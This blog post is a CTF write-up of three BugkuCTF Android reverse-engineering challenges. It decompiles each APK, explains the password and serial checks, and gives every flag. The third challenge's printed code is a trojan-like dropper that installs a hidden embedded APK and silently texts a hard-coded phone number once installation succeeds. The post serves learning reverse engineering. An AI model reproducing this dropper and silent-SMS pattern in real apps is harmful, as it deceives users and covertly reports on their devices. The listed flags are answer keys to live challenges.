zoukankan      html  css  js  c++  java
  • BugkuCTF~Mobile~WriteUp

    最近,开始记录一篇关于 Android 逆向分析的 WriteUp 方便有需要的人学习,也欢迎大家相互交流, 发现不

    一样的世界。

    一、 signin

    考点:反编译、静态分析

    Topic Link:https://ctf.bugku.com/files/109fa055c682e810684427c123a0833b/sign_in.zip

    signin 软件介绍:

    1. 开始界面

    2. 当输入的字符串有误时,会显示:Try again.

    题目分析:

    1. 刚开始直接使用了 Android killer工具进行反编译,但是不能够查看Java源码 (有点不够意思,有时候Android killer自动化工具并不好用),但是这并不能阻挡我们查看想要的Java源码 (dex2jar-2.0工具的利用)

    2. 先将该APK解压,提取class.dex到dex2jar-2.0的目录下,操作class.dex文件得到对应的.jar文件

    3. 利用jd-gui-1.4.0.jar工具打开步骤2中的.jar文件

    4. 提取我们想要的Java源代码

    package re.sdnisc2018.sdnisc_apk1;
    
    import android.content.Context;
    import android.os.Bundle;
    import android.support.v7.app.AppCompatActivity;
    import android.util.Base64;
    import android.view.View;
    import android.view.View.OnClickListener;
    import android.widget.Button;
    import android.widget.EditText;
    import android.widget.Toast;
    
    public class MainActivity
      extends AppCompatActivity
    {
      private String getFlag()
      {
        return getBaseContext().getString(2131427360);
      }
      
      private void showMsgToast(String paramString)
      {
        Toast.makeText(this, paramString, 1).show();
      }
      
      public void checkPassword(String paramString)
      {
        if (paramString.equals(new String(Base64.decode(new StringBuffer(getFlag()).reverse().toString(), 0))))
        {
          showMsgToast("Congratulations !");
          return;
        }
        showMsgToast("Try again.");
      }
      
      protected void onCreate(Bundle paramBundle)
      {
        super.onCreate(paramBundle);
        setContentView(2131296283);
        ((Button)findViewById(2131165261)).setOnClickListener(new View.OnClickListener()
        {
          public void onClick(View paramAnonymousView)
          {
            paramAnonymousView = ((EditText)MainActivity.this.findViewById(2131165253)).getText().toString();
            MainActivity.this.checkPassword(paramAnonymousView);
          }
        });
      }
    }

    分析代码可知:

    1. 在 checkPassword()函数中,判断用户的输入是否正确,与用户相匹配的字符串是经过getFlag()函数返回的值处理之后的。

    2. 将目标定位到getFlag()函数中,获取其返回值。

    分析getFlag()函数代码片段:

    return getBaseContext().getString(2131427360);

    函数的返回值和 “2131427360” 有关,该字符串为资源ID,一般存储在R.java文件中,ID对应的资源一般存储在strings.xml文件中。

    4. 在R.java文件中,查找资源ID

    根据资源ID对应的变量名“toString”在strings.xml文件中找到对应的值

    5. 将字符串“991YiZWOz81ZhFjZfJXdwk3X1k2XzIXZIt3ZhxmZ”进行反转(reverse()函数影响),然后进行base64解密

    6. 测试输入正确字符串

    get flag:

    flag{Her3_i5_y0ur_f1ag_39fbc_}

     

    二、mobile1(gctf)

    考点:反编译、静态分析

    Topic Link:https://ctf.bugku.com/files/7c43d693909d6dbfd7ad7d5a0866548b/gctf_mobile1.apk

    mobile1(gctf) 软件介绍:

    1. 开始界面

    2. 当输入的字符串有误时,会显示:错误!

    题目分析:

    1. 先将该APK解压,提取class.dex到dex2jar-2.0的目录下,操作class.dex文件得到对应的.jar文件

    2. 利用jd-gui-1.4.0.jar工具打开步骤1中的.jar文件

    3. 提取主要的Java源代码

    package com.example.crackme;
    
    import android.app.Activity;
    import android.os.Bundle;
    import android.view.Menu;
    import android.view.MenuInflater;
    import android.view.View;
    import android.view.View.OnClickListener;
    import android.widget.Button;
    import android.widget.EditText;
    import android.widget.Toast;
    import java.security.MessageDigest;
    import java.security.NoSuchAlgorithmException;
    
    public class MainActivity
      extends Activity
    {
      private Button btn_register;
      private EditText edit_sn;
      String edit_userName;
      
      private boolean checkSN(String paramString1, String paramString2)
      {
        if (paramString1 != null) {
          try
          {
            if (paramString1.length() == 0) {
              return false;
            }
            if ((paramString2 != null) && (paramString2.length() == 22))
            {
              Object localObject = MessageDigest.getInstance("MD5");
              ((MessageDigest)localObject).reset();
              ((MessageDigest)localObject).update(paramString1.getBytes());
              paramString1 = toHexString(((MessageDigest)localObject).digest(), "");
              localObject = new StringBuilder();
              int i = 0;
              while (i < paramString1.length())
              {
                ((StringBuilder)localObject).append(paramString1.charAt(i));
                i += 2;
              }
              paramString1 = ((StringBuilder)localObject).toString();
              boolean bool = ("flag{" + paramString1 + "}").equalsIgnoreCase(paramString2);
              if (bool) {
                return true;
              }
            }
          }
          catch (NoSuchAlgorithmException paramString1)
          {
            paramString1.printStackTrace();
          }
        }
        return false;
      }
      
      private static String toHexString(byte[] paramArrayOfByte, String paramString)
      {
        StringBuilder localStringBuilder = new StringBuilder();
        int j = paramArrayOfByte.length;
        int i = 0;
        while (i < j)
        {
          String str = Integer.toHexString(paramArrayOfByte[i] & 0xFF);
          if (str.length() == 1) {
            localStringBuilder.append('0');
          }
          localStringBuilder.append(str).append(paramString);
          i += 1;
        }
        return localStringBuilder.toString();
      }
      
      public void onCreate(Bundle paramBundle)
      {
        super.onCreate(paramBundle);
        setContentView(2130968601);
        setTitle(2131099677);
        this.edit_userName = "Tenshine";
        this.edit_sn = ((EditText)findViewById(2131492945));
        this.btn_register = ((Button)findViewById(2131492946));
        this.btn_register.setOnClickListener(new View.OnClickListener()
        {
          public void onClick(View paramAnonymousView)
          {
            if (!MainActivity.this.checkSN(MainActivity.this.edit_userName.trim(), MainActivity.this.edit_sn.getText().toString().trim()))
            {
              Toast.makeText(MainActivity.this, 2131099678, 0).show();
              return;
            }
            Toast.makeText(MainActivity.this, 2131099675, 0).show();
            MainActivity.this.btn_register.setEnabled(false);
            MainActivity.this.setTitle(2131099673);
          }
        });
      }
      
      public boolean onCreateOptionsMenu(Menu paramMenu)
      {
        getMenuInflater().inflate(2131558400, paramMenu);
        return true;
      }
    }

    分析代码可知:

    1. 将主要目光定在checkSN()函数上,分析该函数发现,需要满足几个条件:

      1. 第一个参数paramString1 !=null&字符串长度 !=0

      2. 第二个参数paramString2 !=null&字符串长度 ==22

      3. 将第一个参数paramString1 经过MD5加密之后,取其偶数位组成字符串(16位)

      4. 第三步里面产生的字符串与 “flag{}”组合(16+6=22)要与参数paramString2相等

    2. 有上一步的分析可知,需要查看参数paramString1和参数paramString2的赋值情况,搜索谁调用了checkSN()函数,搜索之后将目标定在onCreate()函数上

    public void onCreate(Bundle paramBundle)
      {
        super.onCreate(paramBundle);
        setContentView(2130968601);
        setTitle(2131099677);
        this.edit_userName = "Tenshine";
        this.edit_sn = ((EditText)findViewById(2131492945));
        this.btn_register = ((Button)findViewById(2131492946));
        this.btn_register.setOnClickListener(new View.OnClickListener()
        {
          public void onClick(View paramAnonymousView)
          {
            if (!MainActivity.this.checkSN(MainActivity.this.edit_userName.trim(), MainActivity.this.edit_sn.getText().toString().trim()))
            {
              Toast.makeText(MainActivity.this, 2131099678, 0).show();
              return;
            }
            Toast.makeText(MainActivity.this, 2131099675, 0).show();
            MainActivity.this.btn_register.setEnabled(false);
            MainActivity.this.setTitle(2131099673);
          }
        });
      }

    分析该函数可知:

      1. paramString1="Tenshine"

      2. paramString2="用户输入的字符串"

    3. 既然知道了参数paramString1的值,直接将paramString1进行MD5加密,取其偶数位,与"flag{}"进行组合得到最终FLAG

    md5(Tenshine,32) = b9c77224ff234f27ac6badf83b855c76
    
    FLAG:flag{bc72f242a6af3857}

    4. 测试输入正确字符串

    get flag:

    flag{bc72f242a6af3857}

     

    三、mobile2(gctf)

    考点:反编译、静态分析、脑洞

    Topic Link:https://ctf.bugku.com/files/d1a2520c55a335d83646ce8a724dbebb/eb1fd250-7c32-418c-b287-1b00dcc53852.zip

    题目分析

    1. 下载下来的是zip格式的文件,不过和APK一样,于是将其后缀改为.apk,可是却不能成功安装,只有先反编译查看源码 *_*

    2. 先将该压缩包解压,提取class.dex到dex2jar-2.0的目录下,操作class.dex文件得到对应的.jar文件

    3. 利用jd-gui-1.4.0.jar工具打开步骤1中的.jar文件

    4. 提取主要的Java源代码

    package com.example.mmsheniq;
    
    import android.annotation.SuppressLint;
    import android.app.AlertDialog.Builder;
    import android.content.BroadcastReceiver;
    import android.content.ComponentName;
    import android.content.Context;
    import android.content.DialogInterface;
    import android.content.DialogInterface.OnClickListener;
    import android.content.Intent;
    import android.content.IntentFilter;
    import android.content.pm.PackageInfo;
    import android.content.pm.PackageManager;
    import android.content.res.AssetManager;
    import android.net.ConnectivityManager;
    import android.net.NetworkInfo;
    import android.net.Uri;
    import android.os.Bundle;
    import android.support.v7.app.ActionBarActivity;
    import android.telephony.SmsManager;
    import android.text.Editable;
    import android.view.View;
    import android.view.View.OnClickListener;
    import android.widget.Button;
    import android.widget.EditText;
    import android.widget.Toast;
    import java.io.File;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.PrintStream;
    import java.util.ArrayList;
    import java.util.List;
    
    @SuppressLint({"DefaultLocale"})
    public class MainActivity
      extends ActionBarActivity
    {
      Button button1;
      Button button2;
      ArrayList<String> packagNameList;
      EditText pass;
      private MyReceiver receiver;
      
      private boolean detectApk(String paramString)
      {
        return this.packagNameList.contains(paramString.toLowerCase());
      }
      
      private boolean goToNetWork()
      {
        ConnectivityManager localConnectivityManager = (ConnectivityManager)getSystemService("connectivity");
        if (localConnectivityManager.getNetworkInfo(1).getState() != null) {}
        while (localConnectivityManager.getNetworkInfo(0).getState() != null) {
          return true;
        }
        return false;
      }
      
      private void initpackagNameList()
      {
        this.packagNameList = new ArrayList();
        List localList = getPackageManager().getInstalledPackages(0);
        int i = 0;
        for (;;)
        {
          if (i >= localList.size()) {
            return;
          }
          PackageInfo localPackageInfo = (PackageInfo)localList.get(i);
          this.packagNameList.add(localPackageInfo.packageName.toLowerCase());
          i += 1;
        }
      }
      
      protected void onCreate(Bundle paramBundle)
      {
        super.onCreate(paramBundle);
        requestWindowFeature(1);
        setContentView(2130903064);
        initpackagNameList();
        System.out.println("host��������==============================");
        this.receiver = new MyReceiver(null);
        paramBundle = new IntentFilter("android.intent.action.PACKAGE_ADDED");
        paramBundle.addDataScheme("package");
        registerReceiver(this.receiver, paramBundle);
        if (!detectApk("com.example.com.android.trogoogle"))
        {
          System.out.println("host��������==============================");
          paramBundle = getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
          retrieveApkFromAssets(this, "com.android.Trogoogle.apk", paramBundle);
          showInstallConfirmDialog(this, paramBundle);
        }
        this.pass = ((EditText)findViewById(2131034176));
        this.button1 = ((Button)findViewById(2131034177));
        this.button1.setOnClickListener(new View.OnClickListener()
        {
          public void onClick(View paramAnonymousView)
          {
            if (!MainActivity.this.detectApk("com.example.com.android.trogoogle"))
            {
              paramAnonymousView = MainActivity.this.getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
              MainActivity.this.retrieveApkFromAssets(MainActivity.this, "com.android.Trogoogle.apk", paramAnonymousView);
              MainActivity.this.showInstallConfirmDialog(MainActivity.this, paramAnonymousView);
              return;
            }
            if (!MainActivity.this.goToNetWork())
            {
              Toast.makeText(MainActivity.this, "��������������������������", 0).show();
              return;
            }
            if (MainActivity.this.pass.getText().toString().length() >= 6)
            {
              Toast.makeText(MainActivity.this, "����������������...", 0).show();
              Toast.makeText(MainActivity.this, "����������������������", 0).show();
              return;
            }
            Toast.makeText(MainActivity.this, "����������������������", 0).show();
          }
        });
        this.button2 = ((Button)findViewById(2131034178));
        this.button2.setOnClickListener(new View.OnClickListener()
        {
          public void onClick(View paramAnonymousView)
          {
            MainActivity.this.startActivity(new Intent(MainActivity.this, RegisterActivity.class));
          }
        });
      }
      
      public boolean retrieveApkFromAssets(Context paramContext, String paramString1, String paramString2)
      {
        bool = false;
        try
        {
          paramString2 = new File(paramString2);
          if (paramString2.exists()) {
            return true;
          }
          paramString2.createNewFile();
          paramString1 = paramContext.getAssets().open(paramString1);
          paramString2 = new FileOutputStream(paramString2);
          byte[] arrayOfByte = new byte['?'];
          for (;;)
          {
            int i = paramString1.read(arrayOfByte);
            if (i == -1)
            {
              paramString2.flush();
              paramString2.close();
              paramString1.close();
              bool = true;
              break;
            }
            paramString2.write(arrayOfByte, 0, i);
          }
          return bool;
        }
        catch (IOException paramString1)
        {
          Toast.makeText(paramContext, paramString1.getMessage(), 2000).show();
          paramContext = new AlertDialog.Builder(paramContext);
          paramContext.setMessage(paramString1.getMessage());
          paramContext.show();
          paramString1.printStackTrace();
        }
      }
      
      public void showInstallConfirmDialog(final Context paramContext, final String paramString)
      {
        AlertDialog.Builder localBuilder = new AlertDialog.Builder(paramContext);
        localBuilder.setIcon(2130837592);
        localBuilder.setTitle("������������");
        localBuilder.setMessage("������������������������������APK��������������������");
        localBuilder.setPositiveButton("����", new DialogInterface.OnClickListener()
        {
          public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)
          {
            try
            {
              paramAnonymousDialogInterface = "chmod 777 " + paramString;
              Runtime.getRuntime().exec(paramAnonymousDialogInterface);
              paramAnonymousDialogInterface = new Intent("android.intent.action.VIEW");
              paramAnonymousDialogInterface.addFlags(268435456);
              paramAnonymousDialogInterface.setDataAndType(Uri.parse("file://" + paramString), "application/vnd.android.package-archive");
              paramContext.startActivity(paramAnonymousDialogInterface);
              return;
            }
            catch (IOException paramAnonymousDialogInterface)
            {
              for (;;)
              {
                paramAnonymousDialogInterface.printStackTrace();
              }
            }
          }
        });
        localBuilder.show();
      }
      
      private class MyReceiver
        extends BroadcastReceiver
      {
        private MyReceiver() {}
        
        public void onReceive(Context paramContext, Intent paramIntent)
        {
          System.out.println("MyReceiver ��������==========================");
          if (paramIntent.getAction().equals("android.intent.action.PACKAGE_ADDED"))
          {
            paramContext.startActivity(new Intent(paramContext, MainActivity.class));
            System.out.println("  ������ Ok!==============================");
            paramIntent = new Intent("android.intent.action.MAIN");
            paramIntent.addFlags(268435456);
            paramIntent.addCategory("android.intent.category.LAUNCHER");
            paramIntent.setComponent(new ComponentName("com.example.com.android.trogoogle", "com.example.com.android.trogoogle.MainActivity"));
            paramContext.startActivity(paramIntent);
            System.out.println("  ���� Ok!==============================");
            SmsManager.getDefault().sendTextMessage("15918661173", null, " Tro instanll Ok", null, null);
            System.out.println("  �������� Ok!==============================");
          }
        }
      }
    }

    5. 分析代码并没有找到什么关于flag的线索,同时软件也不能运行,发现毫无提示,于是猜测flag可能藏在某个文件中,其中可疑的文件主要有strings.xml、AndroidManifest.xml,用工具010 Editor打开进行搜索,发现flag存在于AndroidManifest.xml中

    get flag:

    flag{8d6efd232c63b7d2}

     

    update + ing

     

  • 相关阅读:
    android websocket推送
    proguardgui.bat来混淆已有的jar包
    android raw与assets区别
    Eclipse开发Android报错Jar mismatch! Fix your dependencies
    gc overhead limit exceeded
    如何签名apk,并让baidu地图正常显示
    Eclipse--Team--SVN--URL修改
    监听EditText
    android 注销
    从Android手机中取出已安装的app包,导出apk
  • 原文地址:https://www.cnblogs.com/qftm/p/10498586.html
Copyright © 2011-2022 走看看